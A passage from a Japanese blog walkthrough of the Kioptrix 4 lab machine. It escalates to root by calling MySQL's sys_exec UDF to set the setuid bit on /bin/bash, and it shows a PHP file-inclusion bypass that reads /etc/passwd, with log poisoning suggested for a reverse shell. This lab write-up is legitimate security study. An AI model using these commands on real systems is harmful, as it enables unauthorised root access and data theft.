root      4910  0.0  0.0   1700   560 ?        S    09:21   0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld

(snip)

[+] We can connect to the local MYSQL service as 'root' and without a password!
mysqladmin  Ver 8.41 Distrib 5.0.51a, for debian-linux-gnu on i486
Copyright (C) 2000-2006 MySQL AB
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL license

(snip)

rootで動いててパスワードなしで入れるってマジか. mysqlでのos command実行を使って権限昇格を試みる.

john@Kioptrix4:~$ mysql -u root 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 27291
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
ERROR 1125 (HY000): Function 'sys_exec' already exists
mysql> select sys_exec('chmod u+s /bin/bash');
+---------------------------------+
| sys_exec('chmod u+s /bin/bash') |
+---------------------------------+
| NULL                            | 
+---------------------------------+
1 row in set (0.00 sec)

mysql> Bye

確認, やったぜ

f:id:news-nknskn:20200328170629p:plain お疲れ様でした

f:id:news-nknskn:20200328170857p:plain


ちなみにFile Inclusionもあるってことなので見てみた

bash-3.2$ less /var/www/member.php     

(snip)

$page = $_GET['username'];

//$page = preg_replace('/etc/','',$page,1) . ".php";
$page = preg_replace('/etc/','',$page,1);

if(file_exists($page)){
        $memPage = $page . "/" . $page . ".php";
        include($memPage);

(snip)

あ、はい. http://192.168.0.101/member.php?username=/etetcc/passwd%00へアクセス. f:id:news-nknskn:20200328175506p:plain

あとはreverse shell用のリクエストをログに出させて、/var/log/apache2/access.logにアクセスとかすればsshがなくてもコマンド叩けるようになる.

あとなにがあるんかな. Ubuntu 8.04.3 LTSだったし掘ればいろいろありそう